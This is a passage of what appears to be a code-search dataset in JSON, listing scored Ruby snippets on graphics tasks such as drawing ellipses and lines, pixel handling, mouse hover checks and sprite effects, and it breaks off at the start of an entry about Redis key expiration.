"text": "def draw_ellipse(x,y=0,horz=1,vert=1,color=Color.new(255,255,255),thick=1,\n step=0.1)\n return if thick < 1\n ori_x = x\n ori_y = y\n x += horz\n degree = 0.0\n while degree <= 360\n yield [x,y] if block_given?\n set_pixel(x,y,color) unless get_pixel(x,y).same?(color)\n x = Math.cos(Math.radian(degree)) * horz + ori_x\n y = Math.sin(Math.radian(degree)) * vert + ori_y\n degree = [degree+step,361].min\n end\n if thick > 1\n draw_ellipse(ori_x+1,ori_y+1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x-1,ori_y-1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x+1,ori_y-1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x-1,ori_y+1,horz,vert,color,thick-1,step)\n end\n end",
"title": ""
},
{
"docid": "1f89b60d9ff1d930fa0a15d798784f59",
"score": "0.483742",
"text": "def draw_ellipse(x,y=0,horz=1,vert=1,color=Color.new(255,255,255),thick=1,\n step=0.1)\n return if thick < 1\n ori_x = x\n ori_y = y\n x += horz\n degree = 0.0\n while degree <= 360\n yield [x,y] if block_given?\n set_pixel(x,y,color) unless get_pixel(x,y).same?(color)\n x = Math.cos(Math.radian(degree)) * horz + ori_x\n y = Math.sin(Math.radian(degree)) * vert + ori_y\n degree = [degree+step,361].min\n end\n if thick > 1\n draw_ellipse(ori_x+1,ori_y+1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x-1,ori_y-1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x+1,ori_y-1,horz,vert,color,thick-1,step)\n draw_ellipse(ori_x-1,ori_y+1,horz,vert,color,thick-1,step)\n end\n end",
"title": ""
},
{
"docid": "d66e63185a46ba26fe6c1e652714a8ac",
"score": "0.48360714",
"text": "def draw_horizontal x,y1,y2,color\n cells = get_h_cells(x,y1,y2)\n cells.each{|c| c.color(color)}\n end",
"title": ""
},
{
"docid": "6b2caa2e1437a973a19c971d87d39c29",
"score": "0.4825719",
"text": "def despeckle(im)\n xydeltas = [[-1, -1], [0, -1], [+1, -1],\n [-1, 0], [+1, 0],\n [-1, +1], [0, +1], [+1, +1]]\n\n j = im.dup\n j.each_pixel do |p, x, y|\n if black?(p)\n island = true\n\n xydeltas.each do |dx2, dy2|\n if in_bounds?(j, x + dx2, y + dy2) &&\n black?(j.pixel_color(x + dx2, y + dy2))\n island = false\n break\n end\n end\n\n im = im.color_point(x, y, '#fff') if island\n\n end\n end\n\n im\n end",
"title": ""
},
{
"docid": "f05ca4a4d5955e06d93dab238ea3401e",
"score": "0.4818807",
"text": "def tutorial9(ctx)\n XImage.load('http://localhost:2060/images/sunset.jpg') do |img|\n ctx.drawImage(img,100,100)\n ctx.beginPath()\n ctx.moveTo(30,96)\n ctx.lineTo(70,66)\n ctx.lineTo(103,76)\n ctx.lineTo(170,15)\n ctx.stroke()\n end\nend",
"title": ""
},
{
"docid": "ba06fef7e747688755c43f1f3adc0d4b",
"score": "0.4814767",
"text": "def rollover(px, py)\n d = dist(px, py, x, y)\n @over = (d < diameter / 2.0) ? true : false\n end",
"title": ""
},
{
"docid": "e98022607c7f4afc29e637cf686722d4",
"score": "0.4813251",
"text": "def display\n fill(175)\n stroke(0)\n ellipse(x, y, 16, 16)\n end",
"title": ""
},
{
"docid": "38aecb2515b2fd86d942749fe4b93c0b",
"score": "0.4812186",
"text": "def paint(x, y, color)\n p = $points\n prev = nil\n while p[2][0] <= x\n prev = p\n p = p[2]\n end\n\n # seg_x = p\n # seg_x_prev = prev\n\n # p = p[2] while p[2][0] <= y\n # seg_y = p\n\n if x == p[0] && prev.nil?\n left = p\n elsif x == p[0] && prev[1] == color\n left = prev\n elsif p[1] == color\n left = p\n else\n left = [x, color, p[2]]\n p[2] = left\n end\n\n if y < left[2][0]\n left[2] = [y, p[1], left[2]]\n end\n \n p = left\n p = p[2] while y >= p[2][0]\n if p[1] == color\n right = p[2]\n elsif\n p[0] = y\n right = p\n end\n\n left[1] = color\n left[2] = right\nend",
"title": ""
},
{
"docid": "0884f246ad32dcb1ada20babe63b9195",
"score": "0.48105216",
"text": "def update\n\t\n\t\tif $window.mouse_x >= @x and $window.mouse_x <= @x + @text_image.width and \\\n\t\t $window.mouse_y >= @y and $window.mouse_y <= @y + @text_image.height\n\t\t\t@cur_color = @over_color\n\t\telse\n\t\t\t@cur_color = @color\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8f435de2558413a0bd112c25ee4f83d0",
"score": "0.48013282",
"text": "def render(img)\n pheno = phenotype\n d = Draw.new\n d.fill(\"rgba(#{pheno[:r]},#{pheno[:g]},#{pheno[:b]},#{pheno[:a]}\")\n d.ellipse(pheno[:x],pheno[:y],pheno[:w],pheno[:h],0,360)\n d.draw(img)\n img\n end",
"title": ""
},
{
"docid": "bf90e33b7a0f9bd0e42c42bcc93f1b79",
"score": "0.47765845",
"text": "def compose_pixel(x, y, color); end",
"title": ""
},
{
"docid": "bd718079bcc7e7248c52ec6f27d4605b",
"score": "0.47742313",
"text": "def onMouseMove(flags, x, y, view)\n # show the screen position in the VCB\n Sketchup::set_status_text(\"#{x}, #{y}\", SB_VCB_VALUE)\n \n # get a position in the model and show it in a tooltip\n @iptemp.pick view, x, y\n if( @iptemp.valid? )\n changed = @iptemp != @ip\n @ip.copy! @iptemp\n pos = @ip.position;\n \n # get the text for the position\n msg = @ip.tooltip\n if( msg.length > 0 )\n msg << \" \"\n end\n #msg << pos.to_s\n msg << \"( #{Sketchup.format_length(pos.x)},#{Sketchup.format_length(pos.y)},#{Sketchup.format_length(pos.z)} )\"\n\n \n # See if it is on any special geometry\n if( @ip.vertex == nil )\n if( @ip.edge )\n if( @ip.depth > 0 )\n length = @ip.edge.length(@ip.transformation)\n else\n length = @ip.edge.length\n end\n msg << \"\\n \" + $uStrings.GetString(\"length\") + \" = #{Sketchup.format_length(length)}\"\n elsif( @ip.face )\n if( @ip.depth > 0 )\n area = @ip.face.area(@ip.transformation)\n else\n area = @ip.face.area\n end\n msg << \"\\n \" + $uStrings.GetString(\"area\") + \" = #{Sketchup.format_area(area)}\"\n end\n end\n\n msg2 = msg.gsub(/\\n/,' ')\n Sketchup::set_status_text msg2\n \n # set the tooltip to show this message\n view.tooltip = msg\n \n # see if we need to update the display for this point\n if( changed and (@ip.display? or @displayed) )\n # This tells the view that we want it to update itself\n view.invalidate\n end\n end\n \nend",
"title": ""
},
{
"docid": "659c43598e3a4626e566a669bf080826",
"score": "0.47559625",
"text": "def initialize\n @size_x = 10\n @size_y = 10\n end",
"title": ""
},
{
"docid": "9f102875c86a16b6f0e36464c2080607",
"score": "0.4751396",
"text": "def create_coloured_image\n exec %Q{\n I 5 6\n L 2 1 A\n V 2 3 6 W\n H 3 5 2 Z\n F 4 4 T\n S\n X\n }\nend",
"title": ""
},
{
"docid": "1ad2b9cb04ef539e534184608cbc5bb3",
"score": "0.47505236",
"text": "def draw_actor_lp(actor, x, y, width = 144)\n # Draw \"LP\" text string\n self.contents.font.color = system_color\n self.contents.draw_text(x, y, 32, 32, RPG::LP_WORD)\n # Calculate if there is draw space for MaxLP\n if width - 32 >= 108\n sp_x = x + width - 108\n flag = true\n else#if width - 32 >= 48\n sp_x = x + width - 48\n flag = false\n end\n # Draw LP\n self.contents.font.color = actor.lp == 0 ? knockout_color :\n actor.lp <= actor.maxlp / 4 ? crisis_color : normal_color\n self.contents.draw_text(sp_x, y, 48, 32, actor.lp.to_s, 2)\n # Draw MaxLP\n if flag\n self.contents.font.color = normal_color\n self.contents.draw_text(sp_x + 48, y, 12, 32, \"/\", 1)\n self.contents.draw_text(sp_x + 60, y, 48, 32, actor.maxlp.to_s)\n end\n end",
"title": ""
},
{
"docid": "125dc2d05e17fbd623d3b4d0ec43b66c",
"score": "0.4746731",
"text": "def display\n fill(0, 150)\n stroke(0)\n stroke_weight(2)\n ellipse(x, y, 16, 16)\n end",
"title": ""
},
{
"docid": "ed3cb0bc2525d9db1a168db9d7669114",
"score": "0.47459555",
"text": "def over?\n dis_x = @tempxpos - mouse_x\n dis_y = @tempypos - mouse_y\n Math::sqrt((dis_x * dis_x) + (dis_y * dis_y)) < @size/2\n end",
"title": ""
},
{
"docid": "3a2b7a93315bfd71d395067070de4e7c",
"score": "0.4740583",
"text": "def peg i, highlight = false\n image SIZE,SIZE do\n if highlight\n fill \"#6C0C7B\"\n rect 0,0,SIZE,SIZE\n end\n if i != 0\n fill COLORS[i-1]\n else\n nofill\n end\n oval 1,1,SIZE-2\n end\n end",
"title": ""
},
{
"docid": "1899ce69d8cc18de8adec1015f6d2d66",
"score": "0.47399253",
"text": "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "1899ce69d8cc18de8adec1015f6d2d66",
"score": "0.47399253",
"text": "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "1899ce69d8cc18de8adec1015f6d2d66",
"score": "0.47399253",
"text": "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "1899ce69d8cc18de8adec1015f6d2d66",
"score": "0.47399253",
"text": "def under_point?(mouse_x, mouse_y)\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\n end",
"title": ""
},
{
"docid": "838e0c9ad0f4bb0b793942809808f16f",
"score": "0.473272",
"text": "def under_point?(mouse_x, mouse_y)\r\n mouse_x > x - PADDING and mouse_x < x + width + PADDING and\r\n mouse_y > y - PADDING and mouse_y < y + height + PADDING\r\n end",
"title": ""
},
{
"docid": "2eb281ebe55efcccc088b1eb1cffba99",
"score": "0.4727053",
"text": "def eb_placement\n @orig_y = (@orig_y + self.bitmap.height) % self.bitmap.height\n if @config[\"pixel\"]\n self.ox -= 1 if !self.ox.even?\n end\n end",
"title": ""
},
{
"docid": "f89ee3e1fd844ed1e62a9245d5d1a754",
"score": "0.47149956",
"text": "def centerX\n x + width * 0.5\n end",
"title": ""
},
{
"docid": "f0870b1404555fe9f44491da14d04b46",
"score": "0.4704291",
"text": "def update\n if is_mouse_hovering then\n if !@hover_image.nil? then\n @active_image = @hover_image\n end\n\n @x = @original_x + HOVER_OFFSET\n @y = @original_y + HOVER_OFFSET\n else \n @active_image = @main_image\n @x = @original_x\n @y = @original_y\n end\n end",
"title": ""
},
{
"docid": "637c487be836d401c10b5d3f64157a1a",
"score": "0.4700955",
"text": "def draw_px(x, y, colour)\n @bm[x - 1][y - 1] = colour\n end",
"title": ""
},
{
"docid": "f606b5530e886a6a37a70e3f79d684b6",
"score": "0.46960518",
"text": "def horizontal_lineto(x)\n @cmd << \"H#{x}\"\n end",
"title": ""
},
{
"docid": "266f18d58d7e2d64804bab9220197512",
"score": "0.4693826",
"text": "def add_horiz_ticks(screen, plot_width, plot_horiz_offset)\n screen_tick_points = [ [0,:left], [plot_width-1,:right] ]\n screen_tick_points.each do |screen_tick_x, justify|\n x_range = @x_max - @x_min\n tick_point = (screen_tick_x.to_f / screen[0].size) * x_range + @x_min\n mark_str = reasonable_num_str(tick_point, x_range)\n screen_x = plot_horiz_offset + screen_tick_x\n landing_spots = (justify==:left) ? (screen_x .. (screen_x+mark_str.size)).to_a :\n ( (screen_x - mark_str.size) .. screen_x).to_a\n (0...mark_str.size).each do |i|\n screen[0][ landing_spots[i] ] = [ mark_str[i] ].pack(\"U*\")\n end\n end\n end",
"title": ""
},
{
"docid": "fdf74ee07b4ea179745b44a7f7cd604d",
"score": "0.46937776",
"text": "def execute(image:, x1:, x2:, y:, colour:)\n unless image\n Log.instance.error 'There is no image present'\n return\n end\n\n image.draw_horizontal(x1, x2, y, colour)\n image\n end",
"title": ""
},
{
"docid": "6d053f0746c6844f01e97afe33366a62",
"score": "0.4692776",
"text": "def position_object_pixels(col_start, row_start, x1, y1, width, height, anchor = nil) # :nodoc:\n # Adjust start column for negative offsets.\n while x1 < 0 && col_start > 0\n x1 += size_col(col_start - 1)\n col_start -= 1\n end\n\n # Adjust start row for negative offsets.\n while y1 < 0 && row_start > 0\n y1 += size_row(row_start - 1)\n row_start -= 1\n end\n\n # Ensure that the image isn't shifted off the page at top left.\n x1 = 0 if x1 < 0\n y1 = 0 if y1 < 0\n\n # Calculate the absolute x offset of the top-left vertex.\n x_abs = if @col_size_changed\n (0..col_start - 1).inject(0) { |sum, col| sum += size_col(col, anchor) }\n else\n # Optimisation for when the column widths haven't changed.\n @default_col_pixels * col_start\n end\n x_abs += x1\n\n # Calculate the absolute y offset of the top-left vertex.\n # Store the column change to allow optimisations.\n y_abs = if @row_size_changed\n (0..row_start - 1).inject(0) { |sum, row| sum += size_row(row, anchor) }\n else\n # Optimisation for when the row heights haven't changed.\n @default_row_pixels * row_start\n end\n y_abs += y1\n\n # Adjust start column for offsets that are greater than the col width.\n while x1 >= size_col(col_start, anchor)\n x1 -= size_col(col_start)\n col_start += 1\n end\n\n # Adjust start row for offsets that are greater than the row height.\n while y1 >= size_row(row_start, anchor)\n y1 -= size_row(row_start)\n row_start += 1\n end\n\n # Initialise end cell to the same as the start cell.\n col_end = col_start\n row_end = row_start\n\n # Only offset the image in the cell if the row/col isn't hidden.\n width += x1 if size_col(col_start, anchor) > 0\n height += y1 if size_row(row_start, anchor) > 0\n\n # Subtract the underlying cell widths to find the end cell of the object.\n while width >= size_col(col_end, anchor)\n width -= size_col(col_end, anchor)\n col_end += 1\n end\n\n # Subtract the underlying cell heights to find the end cell of the object.\n while height >= size_row(row_end, anchor)\n height -= size_row(row_end, anchor)\n row_end += 1\n end\n\n # The end vertices are whatever is left from the width and height.\n x2 = width\n y2 = height\n\n [col_start, row_start, x1, y1, col_end, row_end, x2, y2, x_abs, y_abs]\n end",
"title": ""
},
{
"docid": "2d70d70c8032b8cbd19773a1e33e5f9a",
"score": "0.4690887",
"text": "def hover(file, line, col); end",
"title": ""
},
{
"docid": "e2f7c32d374b55c09c8d75b12afd5e02",
"score": "0.46833408",
"text": "def pixels\n end",
"title": ""
},
{
"docid": "4c96af3633e531f2b788855cb5aa21fe",
"score": "0.4682969",
"text": "def mouse_moved(window, x,y)\n\t\t@p = [x,y]\n\tend",
"title": ""
},
{
"docid": "82dd7fea72363c374c23f5588448102e",
"score": "0.46813107",
"text": "def search_lines (point, input_type)\n point.x += state.centerX - 630 # increments x and y\n point.y += state.centerY - 360\n findX = 0\n findY = 0\n increment = state.gridSize / state.lineQuantity # divides grid by number of separators\n\n state.gridX.map do # perform an action on every element of collection\n |x|\n # findX increments x by 10 if point.x is less than that sum and findX is currently 0\n findX = x + 10 if point.x < (x + 10) && findX == 0\n end\n\n state.gridY.map do\n |y|\n # findY is set to y if point.y is less than that value and findY is currently 0\n findY = y if point.y < (y) && findY == 0\n end\n # position of a box is denoted by bottom left corner, which is why the increment is being subtracted\n grid_box = [findX - (increment.ceil), findY - (increment.ceil), increment.ceil, increment.ceil,\n \"sprites/image\" + state.tileSelected.to_s + \".png\"] # sets sprite definition\n\n if input_type == :click # if user clicks their mouse\n if state.filled_squares.include? grid_box # if grid box is already filled in\n state.filled_squares.delete grid_box # box is cleared and removed from filled_squares\n else\n state.filled_squares << grid_box # otherwise, box is filled in and added to filled_squares\n end\n elsif input_type == :drag # if user drags mouse\n unless state.filled_squares.include? grid_box # unless grid box dragged over is already filled in\n state.filled_squares << grid_box # box is filled in and added to filled_squares\n end\n end\n end",
"title": ""
},
{
"docid": "47291576d714908b5ce33a7fc8796d2c",
"score": "0.467752",
"text": "def mouse_pressed\n rect mouse_x, mouse_y, 16, 16\nend",
"title": ""
},
{
"docid": "348473ee1ba4d0f04eebffffaa8ce911",
"score": "0.46763054",
"text": "def add_image str,x,y,mask=1\n\n end",
"title": ""
},
{
"docid": "db916c118d2a9e9492968ac25c2c8f89",
"score": "0.46757823",
"text": "def draw_horizontal(row_y, col_x1, col_x2, colour)\n list_of_pixels = (col_x1..col_x2).map { |p| Pixel.new(p, row_y) }\n draw_line_of_pixels list_of_pixels, colour\n end",
"title": ""
},
{
"docid": "79850b44120c47622b35b0eec6c9f9ce",
"score": "0.4673023",
"text": "def point_face_landmarks(face_annotation)\n gc = Magick::Draw.new\n\n gc.fill_opacity(0)\n gc.stroke('green')\n gc.stroke_width(2)\n\n landmarks_array = face_annotation[\"landmarks\"]\n landmarks_array.each do |landmark|\n position = landmark[\"position\"]\n gc.circle(position[\"x\"], position[\"y\"], position[\"x\"] + 2, position[\"y\"])\n end\n\n gc.draw(@image_list)\n end",
"title": ""
},
{
"docid": "121ff725af59953ff52afd6e44dad7d4",
"score": "0.4672238",
"text": "def draw_arrow(*points)\n border_color = $properties['tooltipBorderColor'] || DEFAULT_TOOLTIP_BORDER_COLOR\n fill_color = $properties['tooltipBackgroundColor'] || DEFAULT_TOOLTIP_BACKGROUND_COLOR\n\n gc = Draw.new\n gc.stroke border_color\n gc.fill fill_color + 'F2' # 0.95 alpha\n gc.polyline points[0][0], points[0][1], points[1][0], points[1][1],\n points[2][0], points[2][1]\n\n img = Image.new(16, 14) do\n self.background_color = 'none'\n end\n\n gc.draw img\n img\nend",
"title": ""
},
{
"docid": "5294af831c0012d9c27f7ba8dadc9208",
"score": "0.4661551",
"text": "def image\n dotter = Dotter::Dotter.new(:dots => locations)\n img = dotter.generate_image\n img.format = \"png\"\n img\n end",
"title": ""
},
{
"docid": "a0fca5cd559dea5d05adc41b9594c080",
"score": "0.46592376",
"text": "def resize_gfx_points(players)\r\n return unless @points_status[:build]\r\n left_align_off = 20\r\n offlbl_y = 20\r\n #start_toty = 30\r\n start_toty = 110\r\n \r\n #label for picule and spazzini\r\n players.each do |pl_match|\r\n player_label = pl_match.name.to_sym\r\n lbl_gfx_pic = @points_status[player_label][:widg_pic]\r\n lbl_gfx_spaz = @points_status[player_label][:widg_spaz]\r\n lbl_gfx_bager = @points_status[player_label][:widg_bager]\r\n lbl_gfx_tot = @points_status[player_label][:widg_tot] \r\n lbl_gfx_pic.pos_x = left_align_off\r\n lbl_gfx_spaz.pos_x = left_align_off\r\n lbl_gfx_tot.pos_x = left_align_off\r\n lbl_gfx_bager.pos_x = left_align_off\r\n if pl_match.type == :human_local\r\n human_start_toty = start_toty - 30\r\n lbl_gfx_spaz.pos_y = @model_canvas_gfx.info[:canvas][:height] - ( human_start_toty + 2 * offlbl_y)\r\n lbl_gfx_pic.pos_y = @model_canvas_gfx.info[:canvas][:height] - ( human_start_toty + 3 * offlbl_y)\r\n lbl_gfx_bager.pos_y = @model_canvas_gfx.info[:canvas][:height] -( human_start_toty + 4 * offlbl_y)\r\n lbl_gfx_tot.pos_y = @model_canvas_gfx.info[:canvas][:height] - ( human_start_toty + 5 * offlbl_y)\r\n else\r\n lbl_gfx_spaz.pos_y = start_toty + offlbl_y\r\n lbl_gfx_pic.pos_y = start_toty + 2 * offlbl_y\r\n lbl_gfx_tot.pos_y = start_toty\r\n lbl_gfx_bager.pos_y = start_toty + 3 * offlbl_y\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "6236b76aef06cbddc3082f5d53e2a24d",
"score": "0.46588027",
"text": "def drawline(sx, sy, gx , gy, th, sps, r, g, b)\n #steep be true when dy > dx\n if (gy - sy).abs > (gx - sx).abs then steep = true else steep = false end\n #dx must be bigger than dy, so exchange x and y if\n if steep == true then\n temp = sx; sx = sy; sy = temp\n temp = gx; gx = gy; gy = temp\n end\n if sx > gx then\n temp = sx; sx = gx; gx = temp\n temp = sy; sy = gy; gy = temp\n end\n dx = gx - sx\n dy = (gy - sy).abs\n err = 0.5 * dx\n if sy < gy then ystep = 1 else ystep = -1 end\n y = sy\n for x in sx..gx do\n #if steep == true then pixset(y, x, r, g, b) else pixset(x, y, r, g, b) end\n if steep == true then OVAdrawpoint(y, x, th, sps, r, g, b) else OVAdrawpoint(x, y, th, sps, r, g, b) end\n err += dy\n if err >= dx then\n err -= dx\n y += ystep\n end\n end\nend",
"title": ""
},
{
"docid": "184f33f64744a4b47dbb6158d099ea2d",
"score": "0.46578175",
"text": "def update\n #The screen center is half the screen width and height. The drawing\n #point is the screen center minus half the image width and height.\n #This is calculated by the following two lines of code.\n #The file hello0_origin.png, is a picture showing these relationships\n @x = (self.width-@title.width)/2\n @y = (self.height-@title.height)/2\n end",
"title": ""
},
{
"docid": "9e03f34318bf14f49e224d6587e125c5",
"score": "0.4657176",
"text": "def ex\n self.x + width\n end",
"title": ""
},
{
"docid": "2e7fd3cdae8167e330b329505b79419b",
"score": "0.4655083",
"text": "def draw\n\t\t\t@image.draw(@x - @image.width/2.0, @y - @image.height/2.0, ZOrder::Bullet)\n\t\tend",
"title": ""
},
{
"docid": "7042f4956524544325d378edff60909d",
"score": "0.4651298",
"text": "def get_pixel_alpha(x, y)\n end",
"title": ""
},
{
"docid": "f454423df5a67fc850bc2bc7e89bc4fb",
"score": "0.46479574",
"text": "def draw_ball \n @ball_img.resize(@ball.radius, @ball.radius)\n \n image @ball_img, @ball.coord_x1, @ball.coord_y1\nend",
"title": ""
},
{
"docid": "a678eb47fe2b06249837a5c8177a28b4",
"score": "0.46449032",
"text": "def draw_line_of_pixels(list_of_pixels, colour)\n list_of_pixels.each { |pixel| colorize(pixel, colour) }\n end",
"title": ""
},
{
"docid": "fa96ecefad2912aa0bf199a58e5181fc",
"score": "0.46348348",
"text": "def l(params)\n return no_image_yet unless @image\n return wrong_number_of_params(__method__, 3) if params.length != 3\n colour = check_colour(params.pop)\n coords = check_coords(params)\n @image.colour_pixel(coords, colour)\n end",
"title": ""
},
{
"docid": "8c4d2a94e1984bdd4df00df4a48daf38",
"score": "0.46309802",
"text": "def port_cross(x, y, l, t, w, h, c, z)\n px, py = x - @dx_pix, y - @dy_pix\n pl, pt = l - @dw_pix, t - @dy_pix\n pw = [ w, @dw_pix ].min\n draw_cross(px, py, pl, pt, pw, h, c, z)\n end",
"title": ""
},
{
"docid": "a0945d7be7ce1f4675ddb9931d432999",
"score": "0.4630016",
"text": "def draw_convex_hull(path)\r\n context = UIGraphicsGetCurrentContext()\r\n UIColor.redColor.set\r\n #CGContextSetStrokeColorWithColor(UIColor.yellowColor)\r\n CGContextSetLineWidth(context, 2)\r\n first = true\r\n hold_first = nil\r\n path.each do |point|\r\n\r\n CGContextSetLineWidth(context, 2)\r\n\r\n point = point * 4 + @centre_in_view\r\n #puts \"x: #{point.x}, y: #{point.y}\"\r\n if first\r\n hold_first = point\r\n first = false\r\n CGContextMoveToPoint(context, point.x, point.y)\r\n else\r\n CGContextAddLineToPoint(context, point.x, point.y)\r\n CGContextAddEllipseInRect(context, CGRectMake(point.x-5, point.y-5, 10, 10))\r\n CGContextAddLineToPoint(context, point.x, point.y)\r\n end\r\n end\r\n CGContextAddLineToPoint(context, hold_first.x, hold_first.y)\r\n CGContextAddEllipseInRect(context, CGRectMake(hold_first.x-5, hold_first.y-5, 10, 10))\r\n\r\n CGContextStrokePath(context)\r\n end",
"title": ""
},
{
"docid": "04a1c15006a2a81caa426a78d9816a06",
"score": "0.46300054",
"text": "def draw_parameters_e222(actor, x, y, l_x = 160)\n 6.times do |i|\n n_x = i > 2 ? l_x : x\n n_i = i % 3\n draw_actor_param(actor, n_x, y + line_height * n_i, i + 2) \n end\n end",
"title": ""
},
{
"docid": "b1ef934c42bebb835487576bb2b04a0b",
"score": "0.46214154",
"text": "def add_white_pegs(number = 1)\n\t add_pegs(:W, number)\n\tend",
"title": ""
},
{
"docid": "7cd865d4e65b9494d253a9e6f8787379",
"score": "0.46213412",
"text": "def walk\n if rand(10) < 5\n choicex = (-1..1).to_a.sample\n choicey = (-1..1).to_a.sample\n @x += choicex\n @y += choicey\n else\n if mouse_x < @x\n @x -= 1\n else\n @x += 1\n end\n\n if mouse_y < @y\n @y -= 1\n else\n @y += 1\n end\n\n end\n\n end",
"title": ""
},
{
"docid": "68e10efd94808d4444b5f0c18a100a4e",
"score": "0.46211696",
"text": "def draw_lines\n extract_pixelmap\n lines = segmentize\n puts lines.count\n MiniMagick::Tool::Convert.new do |convert|\n convert << @master_file.path\n lines.each { |num| convert.merge! red_line(num, @image.width) }\n convert << working_path(\"#{@column.number}_lined.png\")\n end\n @column.update!(lined_img_count: lines.count)\n save_lined_image\n end",
"title": ""
},
{
"docid": "6bec630f1e0ddd9fb83310d9e30c09a1",
"score": "0.46188065",
"text": "def draw_line_hor(row, col_start=0, l=@width, char='-', overwrite=true)\n for col in col_start..(col_start + l - 1)\n a_char = @d_mx[row][col] == '|' ? '+' : char\n @d_mx[row][col] = a_char if @d_mx[row][col] == nil || overwrite\n end\n end",
"title": ""
},
{
"docid": "64433e8fd9caa69dfa4db1e16f31c02f",
"score": "0.4618579",
"text": "def explode_cp(explosion_sound=Explosion_Sound)\n bitmap = @sprite.bitmap.clone\n @sprite.bitmap.dispose\n @sprite.dispose\n # Slice bitmap and create nodes (sprite parts)\n hor = []\n 20.times do |i|\n ver = []\n 15.times do |j|\n # Set node properties\n s = Sprite.new\n s.ox = s.oy = 16\n s.x, s.y = s.ox + 32 * i, s.oy + 32 * j\n s.bitmap = Bitmap.new(32, 32)\n s.bitmap.blt(0, 0, bitmap, Rect.new(i * 32, j * 32, 32, 32))\n # Set node physics\n angle = (rand(2) == 0 ? -1 : 1) * rand(8)\n zoom_x = (rand(2) == 0 ? -1 : 1) * (rand(2) + 1).to_f / 100\n zoom_y = (rand(2) == 0 ? -1 : 1) * (rand(2) + 1).to_f / 100\n # Store node and it's physics\n ver.push([s, angle, zoom_x, zoom_y])\n end\n hor.push(ver)\n end\n bitmap.dispose\n # Play sound\n play_se(explosion_sound) if explosion_sound != nil\n # Move pics\n 40.times do |k|\n hor.each_with_index do |ver, i|\n ver.each_with_index do |data, j|\n # Get node and it's physics\n s, angle, zoom_x, zoom_y = data[0], data[1], data[2], data[3]\n # Manipulate node\n s.x += i - 9\n s.y += j - 8 + k\n s.zoom_x += zoom_x\n s.zoom_y += zoom_y\n s.angle += angle % 360\n end\n end\n Graphics.update\n end\n # Dispose\n for ver in hor\n for data in ver\n data[0].bitmap.dispose\n data[0].dispose\n end\n end\n hor = nil\n end",
"title": ""
},
{
"docid": "64433e8fd9caa69dfa4db1e16f31c02f",
"score": "0.4618579",
"text": "def explode_cp(explosion_sound=Explosion_Sound)\n bitmap = @sprite.bitmap.clone\n @sprite.bitmap.dispose\n @sprite.dispose\n # Slice bitmap and create nodes (sprite parts)\n hor = []\n 20.times do |i|\n ver = []\n 15.times do |j|\n # Set node properties\n s = Sprite.new\n s.ox = s.oy = 16\n s.x, s.y = s.ox + 32 * i, s.oy + 32 * j\n s.bitmap = Bitmap.new(32, 32)\n s.bitmap.blt(0, 0, bitmap, Rect.new(i * 32, j * 32, 32, 32))\n # Set node physics\n angle = (rand(2) == 0 ? -1 : 1) * rand(8)\n zoom_x = (rand(2) == 0 ? -1 : 1) * (rand(2) + 1).to_f / 100\n zoom_y = (rand(2) == 0 ? -1 : 1) * (rand(2) + 1).to_f / 100\n # Store node and it's physics\n ver.push([s, angle, zoom_x, zoom_y])\n end\n hor.push(ver)\n end\n bitmap.dispose\n # Play sound\n play_se(explosion_sound) if explosion_sound != nil\n # Move pics\n 40.times do |k|\n hor.each_with_index do |ver, i|\n ver.each_with_index do |data, j|\n # Get node and it's physics\n s, angle, zoom_x, zoom_y = data[0], data[1], data[2], data[3]\n # Manipulate node\n s.x += i - 9\n s.y += j - 8 + k\n s.zoom_x += zoom_x\n s.zoom_y += zoom_y\n s.angle += angle % 360\n end\n end\n Graphics.update\n end\n # Dispose\n for ver in hor\n for data in ver\n data[0].bitmap.dispose\n data[0].dispose\n end\n end\n hor = nil\n end",
"title": ""
},
{
"docid": "45d8ab6cb77e634178dc540c1b3a940b",
"score": "0.4615066",
"text": "def horisontal_line(args)\n args_format = [:x_coordinate, :x_coordinate, :y_coordinate, :colour]\n validate(args_format, args)\n\n x_coordinates = args[0..1].sort.collect { |x| x.to_i - 1 }\n y_coordinate = args[2].to_i - 1\n colour = args[3]\n\n @canvas[y_coordinate].fill(colour, x_coordinates[0]..x_coordinates[1])\n @canvas\n end",
"title": ""
},
{
"docid": "82effe2c1bf302e673725d11d50f3780",
"score": "0.46146703",
"text": "def convolve_point(x, y, image)\n sum = 0\n offsetx = x - @size/2 + 0.5 # x wird in die Mitte des Bildausschnitts gerueckt\n offsety = y - @size/2 + 0.5 # y ebenso\n\n # iterieren über alle Pixel\n i=0\n j=0\n while(i < @size)\n while(j < @size)\n #if(x = 50 && y = 50)\n #binding.pry\n #end\n sum += image.at(i + offsetx.truncate, j + offsety.truncate).to_i * @image[i][j] # at sollte bei Grauwertbild das richtige liefern\n # bei Interpolation .truncate entfernen\n i+=1\n j+=1\n end\n end\n sum\n end",
"title": ""
},
{
"docid": "b3af235019ca08456bec7cdca90d83f8",
"score": "0.46114466",
"text": "def blur\r\n final_coord = coordinates \r\n final_coord.each do |set|\r\n y=set[0]\r\n x=set[1]\r\n @image[y-1][x]=1 unless y <= 0 \r\n @image[y+1][x]=1 unless y >= @image.length-1\r\n @image[y][x-1]=1 unless x <= 0 \r\n @image[y][x+1]=1 unless x >= @image[0].length-1\r\n end\r\nend",
"title": ""
}
] |
926873e6cb8b80a972780d8f1239d557 | Set the expiration for a key as a UNIX timestamp. source://redis//lib/redis/distributed.rb129 | [
{
"docid": "36b054dfd85413b82c39fa4ae29de056",
"score": "0.7677277",
"text": "def expireat(key, unix_time, **kwargs); end",
"title": ""
}
] | [
{
